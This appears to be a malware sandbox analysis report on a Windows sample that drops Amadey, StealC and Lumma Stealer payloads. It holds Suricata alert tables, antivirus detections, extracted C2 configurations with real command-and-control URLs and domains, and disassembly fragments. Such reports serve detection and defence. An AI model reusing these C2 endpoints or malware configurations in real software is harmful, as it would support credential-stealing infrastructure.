2024-10-18T15:04:12.922654+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.4	57941	1.1.1.1	53	UDP
2024-10-18T15:04:26.952913+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.4	50775	1.1.1.1	53	UDP
2024-10-18T15:04:35.860283+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.4	57625	1.1.1.1	53	UDP
2024-10-18T15:04:44.657610+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.4	63648	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-18T15:04:12.850988+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.4	55382	1.1.1.1	53	UDP
2024-10-18T15:04:26.929378+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.4	50684	1.1.1.1	53	UDP
2024-10-18T15:04:35.833012+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.4	58144	1.1.1.1	53	UDP
2024-10-18T15:04:44.608991+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.4	56772	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-18T15:04:38.945746+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49962	104.21.53.8	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-18T15:04:22.196288+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49856	185.215.113.37	80	TCP
2024-10-18T15:04:37.838285+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49953	185.215.113.37	80	TCP
2024-10-18T15:04:43.455941+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49988	185.215.113.37	80	TCP
2024-10-18T15:04:55.160923+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50044	185.215.113.37	80	TCP
2024-10-18T15:05:00.543795+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50049	185.215.113.37	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-18T15:04:05.216194+0200	2856147	1	A Network Trojan was detected	192.168.2.4	49782	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-18T15:04:13.534040+0200	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49793	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-18T15:04:08.742049+0200	2803305	3	Unknown Traffic	192.168.2.4	49799	185.215.113.103	80	TCP
2024-10-18T15:04:15.570776+0200	2803305	3	Unknown Traffic	192.168.2.4	49830	185.215.113.103	80	TCP
2024-10-18T15:04:26.917971+0200	2803305	3	Unknown Traffic	192.168.2.4	49884	185.215.113.103	80	TCP
2024-10-18T15:04:37.609418+0200	2803305	3	Unknown Traffic	192.168.2.4	49956	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-18T15:04:57.821474+0200	2843864	1	A Network Trojan was detected	192.168.2.4	50047	104.21.53.8	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-18T15:04:14.871000+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	49823	104.102.49.254	443	TCP
2024-10-18T15:04:28.503264+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	49890	104.102.49.254	443	TCP
2024-10-18T15:04:37.383141+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	49949	104.102.49.254	443	TCP
2024-10-18T15:04:46.234207+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	50001	104.102.49.254	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: h3yRbjNWk1.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://steamcommunity.com/profiles/76561199724331900	URL Reputation: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900/inventory/	URL Reputation: Label: malware
Source: http://185.215.113.37/	URL Reputation: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000000.00000002.1721238447.00000000007C1000.00000040.00000001.01000000.00000003.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 15.0.num.exe.650000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: ea2c7beae0.exe.5744.7.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["licendfilteo.site", "studennotediw.store", "eaglepawnoy.store", "clearancek.site", "spirittunek.store", "bathdoomgaz.store", "mobbipenju.store", "dissapoiznw.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\1000350002\6a8d4317d4.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 44%

Multi AV Scanner detection for submitted file

Source: h3yRbjNWk1.exe

ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\8X6R8OO7U6CNLMSAL.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: h3yRbjNWk1.exe

Joe Sandbox ML: detected

Source: h3yRbjNWk1.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:49901 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:49929 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:49942 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:49962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:49971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:50037 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:50040 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:50050 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 4af6eb3e1f.exe, 0000000C.00000003.2595479701.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp, 4af6eb3e1f.exe, 0000000C.00000002.2730540172.0000000000312000.00000040.00000001.01000000.0000000B.sdmp

Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe

Directory queried: number of queries: 1770

Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	7_2_00B799D0
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then mov eax, dword ptr [esp]	7_2_00B3D110
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then mov eax, dword ptr [esp]	7_2_00B3D110
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	7_2_00B3FCA0
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	7_2_00B40EEC
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then mov eax, dword ptr [esp]	7_2_00B75700
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	7_2_00B46F91
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	7_2_00B349A0
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 62429966h	7_2_00B73920
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	7_2_00B4D961
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	7_2_00B442FC
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then jmp eax	7_2_00B41ACD
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then jmp eax	7_2_00B41A3C
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	7_2_00B35A50
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	7_2_00B74A40
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	7_2_00B43BE2
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	7_2_00B41BEE
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then mov ebp, eax	7_2_00B3A300
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	7_2_00B79B60
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then mov eax, dword ptr [esp]	7_2_00B79CE0
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 9ECF05EBh	7_2_00B79CE0
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], C85F7986h	7_2_00B5CCD0
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then mov eax, dword ptr [esp]	7_2_00B5CCD0
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C85F7986h	7_2_00B5CCD0
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	7_2_00B4B410
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	7_2_00B5C470
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then mov word ptr [eax], cx	7_2_00B4D457
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	7_2_00B46536
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then mov word ptr [eax], cx	7_2_00B59510
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then mov dword ptr [esp+1Ch], 5E46585Eh	7_2_00B5FD10
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+00h]	7_2_00B3BEB0
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then cmp byte ptr [ebx], 00000000h	7_2_00B46EBF
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	7_2_00B36EA0
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	7_2_00B41E93
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	7_2_00B46F91

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49782 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.4:58049 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.4:64331 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.4:58875 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.4:54579 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.4:57941 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.4:54334 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.4:55382 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49793
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49825 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.4:58232 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49855 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49856 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.4:50684 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.4:55608 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.4:50775 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.4:59545 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.4:52126 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49878 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.4:53913 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.4:57439 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49913 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.4:53787 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.4:52039 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.4:56496 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.4:50607 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.4:57625 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49948 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49953 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.4:57965 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.4:56772 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.4:53116 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.4:63648 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.4:59869 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.4:61897 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49988 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.4:63891 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.4:53917 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49977 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.4:53570 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.4:58144 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50044 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.4:55499 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50049 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.4:53008 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49833 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49833 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49823 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49901 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49901 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49962 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:50001 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50012 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49907 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49907 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50012 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49890 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50040 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50018 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50018 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50050 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49949 -> 104.102.49.254:443
